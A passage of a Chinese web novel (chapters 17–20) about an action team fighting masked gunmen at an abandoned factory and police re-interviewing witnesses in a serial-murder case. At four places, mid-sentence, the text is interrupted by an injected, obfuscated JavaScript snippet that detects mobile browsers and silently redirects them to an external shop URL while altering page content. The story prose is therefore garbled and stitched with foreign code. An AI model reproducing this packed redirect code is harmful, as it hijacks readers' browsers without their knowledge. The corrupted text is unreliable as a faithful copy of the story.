“可能拉弓拉得吧。”燕逸岫有些不好意思,进入其中一间宿舍后她把姜韫轻轻放下,又从口袋里摸出一把钥匙型的隐藏式小刀。 “这是……” 燕逸岫回答:“是快递刀,有点钝了,我平常都带在身上方便临时使用。” 她三两下割下自己的衣摆当布条,重新帮姜韫做个简单的包扎处理。 接着她开始挪动屋里的摆设,把姜韫藏起来。 “队长你先在这休息休息,这个地方很隐蔽,你没出声就不会被找到的,等我们把所有麻烦清理完就来接你。” “好,多加小心。” “会的。” 交待完后燕逸岫就拿上枪离开。 她的下一个目标,是那座限制她们行动的高塔,攻占下它就几乎稳赢。 横穿过几间工厂,燕逸岫跳出最后一扇窗户,来到了塔下。 高塔上可活动范围小,楼梯陡峭,又是开放式环境,想要不惊动任何人难度太大,只能尽量将打斗声压到最低,以快取胜。 这个计划很危险,但为了占据优势反守为攻,她必须硬着头皮上。 而且上面还有狙击枪,这种要命的东西当然得抢到手里自己用才放心。 燕逸岫抬手抓住铁栏杆。栏杆上全是铁锈,手掌轻轻覆上去就把铁锈碾成碎粉,哗哗直掉。 空气中也弥漫着呛人的浓重铁锈气味,即使戴着口罩也闻得人难受。 燕逸岫开始沿着旋转楼梯蹑手蹑脚往上走。 第三层有两个人,正在走动巡视,低语着和地面的同伴交谈。 “我在找了你别催,你周围没有人,往右边那条路去看看。” 第一组人最容易解决,毫无防备。燕逸岫藏在楼梯里侧,等到两人分开走到圆台两端了,才迅速踏上平层,飘到其中一人身后。 她将抢来的枪抵在对方后背,同时手臂穿到身前捂紧他的嘴,干脆利落地扣动扳机。一声轻微的闷响后,那人就软倒下来。 燕逸岫及时扶住,将人小心放平,不让他猛地砸下去闹出动静。 另外一人也是如法炮制,上方的第二、三组人也是如法炮制,只不过费劲了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564315|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为多多少少会弄出动静引起同层伙伴的注意。 其实上塔时燕逸岫心里并不确定这个突袭方式能不能成功,她也没有实战经验。但大家如今都身处险境,她只能凭着这股热血上头莽一把试试。 大不了就是一死。 燕逸岫调整呼吸顺气,抬手擦去飞溅到眉间的粘腻暗红,闭上眼缓几秒。 她已经有点分不清铁锈味和血腥味了。 燕逸岫的手微微颤抖着,不知道是因为紧张还是兴奋。燕逸岫用力攥紧手枪,屏住呼吸贴着墙壁躲在暗处,与上面的人无声对峙。 六个人断了联络引起最顶层黑衣人同伴的怀疑,意识到有人像鬼魂般在不知不觉中杀到了眼前,他们已经全部戒备起来。 四柄枪都瞄准了楼梯口。 谭誉道和秦观秋此时已经处理掉一波黑衣人,正在继续前进开展扫尾工作。 秦观秋赤手空拳与人对打时所向无敌,但枪法并不如谭誉道精准,所以她更喜欢近身偷袭。 她没怎么用力就又扭断了一个人的脖子,把死尸扔开,继续攻击下一个目标。 在暗处,一个黑洞洞的枪口瞄准了秦观秋的胸口位置,蓄势待发。 “往右躲。” 燕逸岫严肃的声音突然在她耳边响起。 秦观秋不假思索立刻弯腰侧向右方跑到墙后,她刚躲开,几枚子弹就飞速追着她打来,在后方的碎墙钉了一排。 “一个在八点钟方向,还有一个正从后方靠近。” 高空风声猎猎,吹得人衣摆翻飞,燕逸岫站在高塔上,一遍遍把短发挽到耳后固定住,不断调整夜视镜望远距离,关注着地面上十几个人的移动方位,及时提醒秦观秋和谭誉道敌方埋伏在哪里。 她站在栏杆前俯视厂区,她的身后横七竖八躺着几具尸体,他们被扯下的面罩也被劲风吹飞,飘向远方,融入夜色之中。 不一会儿,又有黑衣人进入了有效射程,并且端着枪正逐步靠近姜韫所在的宿舍楼。 燕逸岫立刻伏下身架起狙击枪,瞄准了其中一人。 呼啸声从侧面气势汹汹地扑来,仿佛誓要将人连着整座塔一并吞噬。 风太大了。 燕逸岫皱了皱眉,指腹顺着扳机光滑的弧度轻柔摩挲着,让自己镇定下来。 荒凉破败的厂区里没有什么有用的参考物,她只能凭着感觉估算风力风向对射击的影响,耐心地小幅度来回移动狙击枪所指方向进行判断。 那三人离职工宿舍楼越来越近。 这时燕逸岫停下了移动,固定住方向。 她的直觉告诉她要瞄准这里。 下一秒就是头骨碎裂声和人体倒地的闷沉声。 看到身旁的队友猝不及防被一枪爆头,血溅四方,随行的两个黑衣人都乱了手脚,急忙迈步打算靠到墙后躲避。 但冰冷的子弹跑得更快。 一眨眼的功夫,地上又多了两具被爆头的尸体。 危机解除。 燕逸岫别开头,顿了几秒后,面无表情看向塔顶唯一的监控。 废弃多年的工厂,监控自然是早就无法使用了,但燕逸岫莫名觉得它还在运作,在踏上顶层时,她就感受到了异样。 有一股不真实的杀意在其中涌动,直直指向自己。 她站了起来,仰起头凝视蒙着厚重尘土的摄像头,盯着那黑洞似的中心。 屏幕被放到最大,占据了整面墙,他抱臂站在门边,隔着虚拟屏幕与画面中戴着黑口罩的人长久对视。 黑色短发如鹰翅飞羽般在狂风中飞扬,凌乱的刘海将眼睛遮了近一半,但丝毫阻挡不住眼中那两点光芒,灼灼的无畏,像长燃着两团火。 “好敏锐,姜韫居然一直藏着这么一号人不让我知道,”行动彻底失败,他也不气恼,反而笑着自言自语,“以后有的是机会交手了。” 燕逸岫抬起手臂,开枪打碎了监控探头。 尘土与碎片一齐迸裂四散。 屏幕也应声陷入黑暗。 18. 垃圾桶里的被害者 那道令人脊背发凉的打量终于因此消失。 一直打不通的警局电话也在这时接上了。 姜韫直接联系了知晓行动组底细的局长,请她派一队便衣前来支援,处理现场带走尸体,尽可能不惊动民众,瞒下今晚的事故。 敌方只剩三个人了。 在燕逸岫高空视角的协助下,秦观秋和谭誉道顺利抓住他们绑起来,留活口准备带回警局审讯。 燕逸岫最后再调整望远镜仔仔细细将厂区看了两遍,确认没有别的可疑人员身影。 于是她扛上狙击枪,搜刮走每具尸体带着的手枪,放心地离开了高塔,前往姜韫所在的职工宿舍楼。 “你是怎么到塔上去的?”谭誉道接过枪械,边问道。 燕逸岫踏上楼梯,一时不知道怎么回答,最后小声憋出一句:“运气好吧。” 她进入屋中,挪开遮挡物。 姜韫双手仍然按着伤口,抬头看向队友,见她们安然无恙,也露出欣慰的笑容。 这次是秦观秋抱起姜韫带她下楼。 警车已经陆续抵达现场。 谭誉道代替虚弱的姜韫上前与警方交涉沟通,告知这里的情况并留下来协助。 燕逸岫和秦观秋则上了系统派来的车,护送姜韫前往天泊区的行动组秘密基地,由专业的医疗机器人进行手术。 毕竟外面的医院人多眼杂,很难保证行动组成员疗养期间绝对安全。 怔愣望着“手术中”三个红色大字半晌,燕逸岫才移开视线,走到秦观秋身边坐下,默默张开两手。 血与锈粉混在一起,风干后一片片黏在掌心,她试图搓掉但只感受到摩擦产生的滞涩。 燕逸岫这会儿终于缓过劲来,意识到今天是自己第一次杀人,还不记得总共杀了几个。 明明是刚发生的事情,她却像失忆了似的,怎么也想不起来。 一切都发生得太快了,在她头脑还没反应过来下一步该怎么办的时候,手就已经先动起来了。 她只知道如果自己不快,就会被对方压制,就会死在那里,就帮不了同样身处险境的队友们。 她是怎么杀第一个人的?是怎么除掉塔上的人的?最后一层她是怎么攻上去的? 脑海中有零星的碎片画面,但乱糟糟交叠在一起,串不起完整的经过。 秦观秋注意到她的模样,便拉着她去卫生间洗手洗脸。 镜子里的人眼神还直愣愣的,几绺刘海碎发沾了血黏在额头,头发也被大风吹成鸟窝,一直顾不上整理。 “还好吗?”秦观秋歪头凑近端详,难免担心,拍拍她的背,“第一次杀人都会有点懵,还可能做几天噩梦,你胆子又比较小,明天开始让系统给你安排几次心理干预吧?” “啊……我没事,我没事,不用了。”听到她的话,燕逸岫摇摇头,目光恢复清明,低头开始清洗双手。 洗净了手,她弯下腰接水往脸上拍,阵阵凉意接触到皮肤,让她精神了不少。 秦观秋嘶了一声又收回刚才的话:“不对不对,也不能说你胆小,平常安静得像兔子,结果今天这么危险的事情你倒是敢冲在前面,我都惊呆了。” 燕逸岫尴尬地抹了把脸上的水看向她:“我也是被队长中埋伏的情况吓到了,才、才……” “我明白。” 外面传来一阵奔跑的动静。 她和秦观秋返回手术室前,发现行动组所有人都到了,一个个面露紧张,担忧不已。 她们一起坐在走廊又等了十几分钟,姜韫总算被机器人推出手术室。 “子弹已取出,失血较多,万幸没有刺破内脏,没有伤到脊椎,但伤势还是很重,需要卧床静养两周。”机器人报完姜韫的伤情,推着病床转过拐角。 所有人松了一口气,跟着机器人一起前往病房。 麻药效果还没完全退去,姜韫睡得很沉。 燕逸岫想起她给姜韫包扎时看到的血洞,心有余悸。 被狙击枪打中,还能逃跑躲起来处理,忍着巨痛单独行动并再杀一个敌方成员,以及一直保持清醒直到她们解决完危险,甚至进手术室前还让她们别担心。 简直是钢铁般的女人,强者中的强者。 她还记得当时擦去血迹时看到了姜韫以前的伤疤,从腰侧延伸到后背,像一条枯枝,是上一次被反派的人围攻留下的。 没过多久姜韫就醒来了,一开口就是询问调查情况。 “面部识别结果查出来了,那些蒙面人都属于地下城的一个帮派组织,他们不随意接外面的任务,见血基本都是因为帮派间的火拼,但这次杀人任务是组织老大特意下达的。” “老大?”乔琅想起窃听器录下的内容,“我们那天听到的……” 季渊知摇头:“并不是,这个帮派头领只是五大三粗的莽夫,与警方对反派的侧写不一致。” “更深层面的信息我们会继续挖。” “那三个活口正在警局接受审讯。” 姜韫点点头:“另外,警局那边告知明天有三件案子的相关人员有时间到警局重新做笔录。” 燕逸岫站在床尾,暗暗握紧拳头。 明天就能亲耳听到案件的内容和线索了。 姜韫目前需要卧床休养,没法到警局直接参与调查询问,便将这一任务交给原身份同样是刑警的谭誉道,由他负责与相关人员接触,行动组其她人则通过微系统观看,尽量不现身,有什么问题由谭誉道代为传达。 安排完各项任务后,姜韫催促大家离开,回去为明天做准备。 “队长你好好休息。” “我会的。” 其她人离开后,秦观秋关上门,走回床边拉过椅子坐下。 “你还不回去?” “我当然要陪护啊。” “都说了,整栋楼都是系统保护着,不会有危险。”姜韫笑她小题大做。 秦观秋眉头紧皱,不和她掰扯:“反派又盯上你了,闹心得很,以后你去哪我还是陪着吧,别自己单独行动,事不过三,我可不想再受这种惊吓了。” “再说吧——” 两人相视,忽然笑了笑,显然都明白对方在想什么。 “我没想到逸岫第一次与反派那边正面交锋就表现得这么出色,实在是太……”秦观秋手支着下巴靠在桌边,摇摇头,“和平常完全不一样。” “当初测试你不就也看出来了,她拿起弓和枪时的那股锐气。” 姜韫眯起眼望向天花板柔和的灯光:“其实她内心深处对自己这项能力有绝对的把握,突然转变的气场就是她显露出来的内在自信。” “只不过她自己好像还没意识到。” 燕逸岫点开几个社交软件快速滑动浏览,上面果然铺天盖地都是企业家万德一被害的新闻,那张血符和八根手指的高清特写被无数人疯转。 过两天大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564316|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会发现万德一尸体的下落了。 燕逸岫坐进车里放空,好一会儿才迟钝地察觉到右臂的刺痛。 她撩起衣袖,发现了一道撕裂的长伤口。因为穿着黑色衣服,染上血迹也看不出来。 似乎是在塔顶的时候被对方的子弹划伤了。 只是擦破了层皮,燕逸岫便没放心上,回到家自己简单上药处理。 忙完一切后她躺在床上继续回想,混乱的记忆逐渐完整清晰,她终于想起了大概经过。 她当时拿出袖珍手枪做准备,把抢来的枪用力朝上抛,抓住他们会下意识抬头看的那一两秒,从暗处闪出,双手持枪扫射,虽然因为位置低角度不好找,基本只能把他们打伤,但已经足够了。 趁着对方受伤之后速度变慢而多出的一点缓冲时间,她跨步冲上平层,占据更有利的位置优势与他们对抗。 十几秒内构思出的粗糙计划,鲁莽的行动想法,她居然没有丝毫犹豫地执行了,完全没考虑过会受伤或是会死。 现在她自己想想都觉得诧异,手按在急促跳动的心口,多了份劫后余生的庆幸。 居然活下来了。 燕逸岫在黑暗中翻了个身,盖好被子。 如果有下次…… 她闭上眼。 下次她会做得更好。 “你已经做得很好了。”警员将纸巾推到董烁面前。 “他那时候还有气,我……”时隔一年多,回忆起那天的事情,董烁仍然心怀愧疚,忍不住流下眼泪。 “要是我早一点发现……要是我胆子大一点……” 第一起案件,反派犯罪手法还不算成熟,被害者被抛弃在巷子的垃圾桶里,苟延残喘了十几分钟,终于等来了过路人。 当时董烁正在读高一,因为他性情内敛,个子不高,成绩也不算优秀,在班里是个透明人,经常会被别班的混混欺负,但他从不敢和家长老师提及,害怕惹恼他们而遭遇更严重的霸凌。 那条巷子是他每天的必经之路。 那天他照常放学回家,发现经常欺负他的几个人正聚集在巷子口抽烟,流里流气地对每个经过的学生呼呼喝喝。 董烁不敢过去。他知道一旦自己凑近,就会被他们拖进小巷里挨一顿打,还会被逼着交出自己的零用钱。 所以他耐心地躲在街对面等公交的人群里,直到那几人离开了,才赶紧穿过马路跑进小巷。 确认自己安全了之后,他停下脚步平复呼吸。 突然间,他听到了一阵很轻的窸窣声。 他本以为是那几个混混追上来了,吓了一大跳,转身后见四周没人,意识到声音是从墙角的垃圾桶里传出来的。 董烁只当是老鼠蟑螂之类的东西,并不在意,抬脚要继续走,却又听到了垃圾桶里的声音。 这回不是窸窣声,而是什么东西在敲击桶壁的声音。 “咚。” “咚。” “咚。” 巷子里很安静,董烁杵在原地,只听得见自己的呼吸声和这诡异的敲击声。 他潜意识觉得不太对劲,于是他壮起胆子靠近,忍着恶心的臭味踮起脚往里看。 是一个血肉模糊的人形。 那人蜷在桶底,屈起手指拼着最后一点力气在垃圾桶上叩出声音,希望能吸引过路人的注意。 董烁从未亲眼见过如此恐怖血腥的画面,吓得大叫出声,后退跌坐在地上。 19. 第一发现者 但很快他就反应过来这是出大事了,坐在地上哆哆嗦嗦抬起手腕打电话报警,说明地点位置和情况。 之后的记忆,就是尖锐的警笛声,不远处人们交头接耳的嘈杂,还有受害者被捞出来送往医院的场景。 湿淋淋的,半个身子浸泡了积在桶底的臭水,混浊灰水混着血,一滴滴砸在地上,一路延伸到巷外。 之后董烁被带到警局做笔录,描述当时的具体情况。 在他努力说出所有想得到的事情希望能帮助破案时,医院打来电话告知被害人在进手术室前断气了,很遗憾她们无力回天,被害人在弥留之际也一直没力气说出任何线索。 董烁愣住了。 他的眼前开始眩晕。 如果他不在意堵着巷子口的那几个同学,如果他有勇气走进去,如果他能按照平常的时间回家……结局是不是会完全不一样。 哪怕是真被拖进小巷里挨打,他们也正好都能听到被害者的求救。 那个人原本或许还抢救得了,或许还可以告诉警方伤害自己的凶手是谁。 他怯懦彷徨的那十几分钟,这个人就在不远处的垃圾堆里,于濒死之际艰难地呼吸,祈求着有人能出现,将自己拉出鬼门关。 他每天都走着熟悉的路,每天都会在这个时间段出现,这是老天安排给他救人的使命,可是胆小的他却硬生生毁了一切,间接帮凶手完成了犯罪。 明明不该是这样的…… 明明不该是这样的—— 他感觉到脑子里的一根弦骤然崩断,血气上涌。 警员还没挂掉电话,就听到一阵宛如从裂缝中挤出的带着哭腔的痛苦嘶嚎,董烁两手紧紧揪着自己的头发,疯了似的用额头撞击桌面,以此惩罚自己。 询问室里顿时乱成一团,在室外等候的警员和心理顾问连忙冲进来控制场面。 如果能预知到自己可以拯救一个人的性命,董烁极其愿意挨那顿打,多狠都行,只要能来得及救人。 可是结局已经尘埃落定了。 董烁觉得是自己害死了人,自己也是背负血债的无情帮凶。 无数次的深夜失眠,他都看到那灰红色的污水从天花板中渗出,一滴滴落进自己的额头里,化成眼泪打湿枕头,彻夜不休。 等到董烁不再流泪了,谭誉道才继续询问:“你在公交车站等着的时候,有看到路人走进小巷或走出来吗?” “都没有,那条路偏僻,平常都没什么人,我也是因为可以抄近道快点回家才走那条路。” “现场有什么奇怪之处吗?” “没有,我每天走都是那样,只有垃圾桶里的垃圾多少会有变化。” “你中午放学也走了小巷?” “对。” “那时候桶里的垃圾多吗?” 董烁回忆了几秒,肯定地回答:“多,满出来了。” 可当天下午尸体被发现时桶里只有少量垃圾在底部。这并不是清洁工清理垃圾的时间。 “那几个堵在巷子口的学生,你确定一直看着他们,没看到他们之中的任何一个人进去过?” “我确定。” 又问了几个问题,理清思路后,警员便带着董烁离开询问室。 “那些人现在还有欺负你吗?”警员最后问道。 董烁看向她,露出内敛的笑意,用力摇摇头:“那件事发生之后……我就不再忍受和妥协,被拖进厕所挨揍的时候直接拼命还击了,结果打架闹得太大,惊动校长,差点挨处分。” “不过我把以前遭受的霸凌都告诉了校长,她了解具体情况后查监控核实了我的话,就只惩罚了那些霸凌者和不作为的老师,还给我放两周假。从那以后我就没有再被人欺负了。” “那太好了,你很勇敢,也遇到了好校长。” 董烁低下头,轻声说道:“我只是希望将来不管发生什么事都不会再留遗憾,我希望一切都能来得及。” 警员拍拍他的肩,目送他走出警局大门,走入明朗白日中,让周身被阳光拥抱。 谭誉道将录入证词系统的内容补充完整。 第一案死者是案发地附近另一所中学的高三班主任,名叫聂北,他在当天早上还有到学校上课,下午就不见踪影。 因为他原本下午没课,所以也没有引起多少人注意,直到尸体被发现。 尸体全身都是深浅不一的捅伤刺伤,几乎没有一块完好的皮肤,有几刀甚至刺裂骨头。 反派的特殊作案标志也从这一案件起开始出现。 他用刀刺破被害人的皮肤,在腹部画下图案。圆圈中是一个蜷缩的婴儿,圈中其余部分的皮肤被剥下,露出血肉,正如一汪血水。 这种凶残程度的伤害,凶手犯罪时身上必然沾到不少血,第一现场也会留下大量血迹,但垃圾桶里血迹不多,警方搜索整条巷子也没有发现任何符合情况的血液反应残留。 尸体是被凶手特意转移过来的。 附近监控在那段时间被删除了,也没有人目击到可疑人员搬着东西出现在附近。 警方搜查了聂北家以及相关人员的住所,均未发现可疑血迹。 直至今日,聂北案的第一现场仍然未知。 目前警方找到的证物只有聂北体内的一毫米的金属碎片,经检测属于刀尖,警方推测它就是凶器的尖端,是凶手在实施犯罪时,刀磕到坚硬的人骨而断裂留在体内。 现场周边也没有筛查到可疑人员的毛发DNA。 作为教师,特别是带高三班的班主任,聂北基本就只围着学校和家庭转,他的家庭和睦,他与同事、学生及学生家长都保持着良好和平的关系,没有发生过什么特别的矛盾。 “小谭,”几分钟后警员打开询问室的门,“第六件案子的发现者来了,我们先询问樊隽远,他的家长还在工作岗位,要等午休时间才过来。” “好。” 樊隽远走到两人对面坐下,有些紧张地握起拳头,坐得板正。 询问了基本信息后,警员和谭誉道直接切入案件相关问题。 “那天我妈妈职位晋升,全家人都很高兴,就决定去外面餐厅吃一顿庆祝庆祝。” “中心地段一到晚上就特别热闹,地下车库基本没位置,我妈妈开着车在里面转了好几圈,好不容易找到了一个空位,正要倒车,就从后视镜看到有个人靠在墙角坐着,她担心是有人生病晕倒或者喝醉酒了,就下车去看看情况,没想到……那个人已经死了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564317|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你有近距离看到现场吗?” 他摇摇头:“我妈妈让我和我爸别下车,待在车里,她就站在原地打电话报警,说是怕破坏现场,不敢再乱走动了,所以我只能远远张望,而且视线被旁边的车挡了大半,看不清楚。” “车子进入地下车库后,你有看到其它车辆经过吗?” 他带着歉意抬头看向谭誉道:“那时候……我在打游戏……所以没注意外面,抱歉,这点我妈妈和爸爸比我更清楚,之前听她们说过,当时确实有辆红色的小车经过,转过拐角去二区停车场了,不知道是进来还是出去。” “好,这部分内容稍后我们会询问你父母,那么发现尸体后,你有留意周围吗?” “有,有一对夫妻开车经过,因为我们的车挡在中间,别的车没法通行,我和爸爸就赶紧向那两人解释情况。” “还有一个男的应该是从商场下来的吧,他走路回到车上开车走了,估计是离得有点远,他没注意到我们这边,发动车子就离开了。” “后来还有再想起过什么一年前注意到但没放心上的事情吗?” 樊隽远迟疑了一会儿,在两人鼓励的目光下开口说道:“我不知道算不算奇怪……我当时头探出窗外,闻到了一股很淡的类似糖的甜味,不过我爸说那只是车上的香薰味。” “你觉得有区别吗?” “我觉得有一点,因为我妈妈放的香薰是木质香。” 正在病房休息的姜韫也通过微系统视频让谭誉道另外问了其它几个问题,樊隽远都尽可能回答。 不过由于他没有下车靠近现场,所了解到的线索并不多。 边听着笔录内容,燕逸岫乘车来到了天极区,前往昆隐棋出现过的小巷里观察环境,探探情况。 厚厚的短发贴在后颈,闷得人太热,燕逸岫便抬手把头发扎起来,总算觉得凉快了点。 这一片是老旧的集中式居民区,楼房一栋栋挨得很紧,形成无数条狭窄的巷子,如果不是住得久了,在里面打转恐怕很容易迷路,找不到目的地。 燕逸岫仔细观察着周遭环境,绕了好几分钟,终于走到一片较为开阔的地段。 这里配备了滑滑梯、单杠、跷跷板等设施,供附近的孩子们娱乐玩闹。 四周种着一圈树,树荫下摆有长椅,方便居民休息。 现在还早,盛夏日光炙热,又是上学的日子,没有小孩在这里追逐跑跳,十分安静。 燕逸岫的目光忽然凝住。 不对,有人。 滑滑梯城堡的出口那儿露出了一片黑色衣角。 她心中好奇,拐了半圈走到空地的另一方向,隔着一段距离往里看,想瞧瞧是不是哪个小孩玩得入迷忘记了上学时间。 随着一步步移动,她能看得到的部分越来越多。 当那半边人影露出来时,燕逸岫瞳孔骤缩,猛地停下了脚步,心脏开始剧烈跳动,震得她听不清其它声音。 是一个成年人歪歪扭扭靠坐在里面。 而那张惨白的面孔,不是别人,正是如今占据各大版面消息的万德一。 燕逸岫睁大眼死死盯着他,错愕不已。 她竟然……也成了案件的第一发现者。 20. 门缝下的眼睛 警局大厅里人来人往,得知万德一尸体被发现,不少警员和民众都看向报案人,想知道是谁发现的。 燕逸岫坐在休息室,胳膊搭在腿上,弯腰深深低头发呆,一副因为目击尸体而崩溃受惊的样子。 但其实她并没有被尸体吓到,而是警局里人太多了,一道道视线从门外窗外透进来落在自己身上,她有些无所适从,只好以这种方式假装自己正在沉浸式调节心理,就不用和人对视,不会看到有谁在关注她了。 她边通过群视频听着询问室里的对话,煎熬地等着轮到自己做笔录。 燕逸岫深深叹气。 来这里才几天,感觉这辈子的气都要叹完了。 不一会儿,有一阵脚步声靠近,带着咖啡香气飘到她面前。 “给你。” 燕逸岫慢吞吞掀起眼皮,从刘海的缝隙中看出那是一杯热咖啡。 她没有抬头打量来人,只礼貌地后仰拉开点距离,连连摆手:“不用了不用了,谢谢谢谢,我不喝。” “……好吧。” 那人走到她右侧坐下。 燕逸岫飞快地移过视线瞄了一眼,瞄到对方是个陌生的清秀男生。 在察觉到他要转过头来的时候,燕逸岫又立刻收回目光,假装无事发生,只盯着自己的膝盖。 她慢半拍想起来,这个声音她听过,是早上来做笔录的其中一人,第六起案件的发现者之一。 樊隽远看向她:“刚才听警察说是你发现了万德一的尸体?是不是很吓人?” 燕逸岫并不喜欢和陌生人多聊什么,更何况是案件相关,所以只胡乱敷衍点点头糊弄过去。 他有些同情地抿唇:“我当初没近距离看到都吓得不轻,做了好几天噩梦,你这种情况需不需要心理干预?我阿姨是专业心理咨询师,我把她的联系方式推给你?” 合着是来给自己亲戚拉业务的。燕逸岫像个机器人一样机械地连忙摆手说着不用不用不用,身体又往左边倾斜了几厘米。 “你也是目击者?”燕逸岫想起自己现在的身份,顺嘴补了句。 “算是吧,我没有靠太近。” “那你现在也在等着做笔录?” 樊隽远摇头:“我结束了,是家人忙于工作还没来,我在这儿等她们。” 燕逸岫没话了,哦了一声就继续低头发呆。 见她无精打采的模样,明显没心情和别人闲聊,樊隽远也不好意思再打扰她。 询问室内,谭誉道翻着第十二件案子的资料,正在听对面的女生讲述经历。 “商场新开了家餐厅,我之前和朋友聚餐吃过几回,上次就带男朋友去吃饭了。” 唐映清靠坐在椅背,两臂交叠,歪着脑袋回忆去年的事情。 吃完饭后她和男朋友照例在商场里逛了几圈,散散步消化。逛到第五层时,她去了卫生间上厕所。 镜子前有两个女生正在洗手,唐映清径直走向里面的两排单间,发现其中一扇门上贴着“维修中”的纸,不能使用,于是她继续往里走,随便挑了一间空厕所。 上完厕所走出来后,她发现那张提示纸已经被撕掉了。 这么快? 唐映清原本没太在意,只是看了一眼就走向洗漱池洗手。 甩干了湿淋淋的手,她又探身凑近镜子拉下眼睑检查眼球。 似乎有根小睫毛掉进去了,扎得眼睛酸疼,快要冒出泪水。 正转动着眼睛寻找异物,她的目光不经意瞥到了镜子照出来的厕所隔间,那间原本贴着“维修中”提醒的隔间。 好像多了什么东西。 唐映清目光向下移。 门缝底下,有个人半边脸贴着地板,瞪大眼睛,从缝隙中从下而上注视着她。 唐映清立刻转身背靠洗漱台,面向厕所,一手按在冰凉的台面上,心脏几乎要跳出嗓子眼。 难道是变态偷窥狂? 唐映清练了十几年散打,包里也带着武器,所以她并不担心,而是活动活动筋骨,准备把这个混球逮起来暴打一顿再送去蹲局子,让他长长记性。 见那人被发现了也没什么动静,似乎在装死,唐映清不禁恼火,她蹲下身,让视线基本与门缝处持平,想看看是怎么回事。 奇怪的是,那个人仍然保持着诡异的姿势,瞪着的眼睛根本不眨,一动不动,哪怕她调了手电筒强光故意照那只眼睛也没反应。 唐映清忽然意识到不对劲。 厕所里的人是真的死了。 她马上起身大步往外走,边拨打电话报警,最后挡在门外阻止外人进入。 “你在卫生间的这段时间都有听到什么声音?” “其实听不清,因为当时门边的大型吹风机一直在运作,呼呼的吹风声音很大,离远些了连洗手的水流声都基本听不清。” “一两分钟的时间内,那张提示纸就不见了,是吗?” “对,不在地上,门板上还有黏着的纸片,所以不是它自己掉的,是被人撕了。” “你确定在你之后没有人再出来了吗?男厕女厕都没有?” “确定,商场卫生间里没有窗户和其它通道,我一直守在门口,没放人进去也没看到有人偷偷出来。” “警方后来封锁了商场,根据你的证词排查,只找到了一个当时出现在里面的女性,另一个一直没找到,可以请你再描述一下她的特征吗?” “她当时在第二个水龙头那儿洗手,”唐映清拧着眉,试图将当初扫视的那一秒时间停下,足够她放大一寸寸观察,记起所有细节,“她低着头没有照镜子,所以我没看清五官是什么样。” “肤色偏白,黑色长发,有刘海,穿着卡其色风衣,能看到她戴着一边耳钉,另一边被挡住了我不知道有没有,个子大概一米七几,不胖也不瘦……” 燕逸岫和樊隽远无言待在休息室,一个发呆,一个打游戏。 和陌生人共处一室总是令她如坐针毡如芒在背如鲠在喉,燕逸岫已经在考虑要不要假装上厕所离开这里,去外面找个地方单独待着了。 这时一位警员像救星一样出现在门口,喊她进去做笔录。 燕逸岫顿觉如释重负,说了句“我先走了”就起身飞快逃离了这尴尬的场合。 樊隽远应了一声,目送她小跑进去,然后继续坐着打游戏,时不时喝一口咖啡,百无聊赖地等着家人过来。 “你今天为什么会到现场附近?” 姜韫已经将燕逸岫的身份和情况告知局长,她不会被当作嫌疑人怀疑,但该走的流程还是要做好给不了解内情的人看。 她和谭誉道现在也假装不认识,虽然她本来到目前为止也还没和他熟到哪儿去。 “我是个自由摄影师,最近打算拍一组有年代感的人文风景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564318|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作品参赛,川城是老旧居民区,我很感兴趣,就去那里踩点逛几圈方便构思,看看哪里适合拍摄、具体要怎么拍。” 燕逸岫说着这些,边调出“宙”中自己早上拍的几组照片给对面的两人看。 “在巷子里有注意到什么可疑的人吗?” “没有,就碰到几个买菜回家的老人。” “现场附近呢?” “现场没有别人在。” …… 不知道回答了多少个问题,燕逸岫终于离开询问室可以回家了。 经过休息间时,她余光扫过去,看到樊隽远仍然坐在里面专心打游戏,等着他的父母。 出了警局后,燕逸岫收到了廖怀霖发来的消息:“我们几个都在天锦区的基地,你那儿结束了吗?要不要顺便过来?” “我这就来。” 研究组的季渊知、乔琅和廖怀霖都在单人办公室各自忙碌着。 燕逸岫先去了乔琅那儿询问监控相关线索。 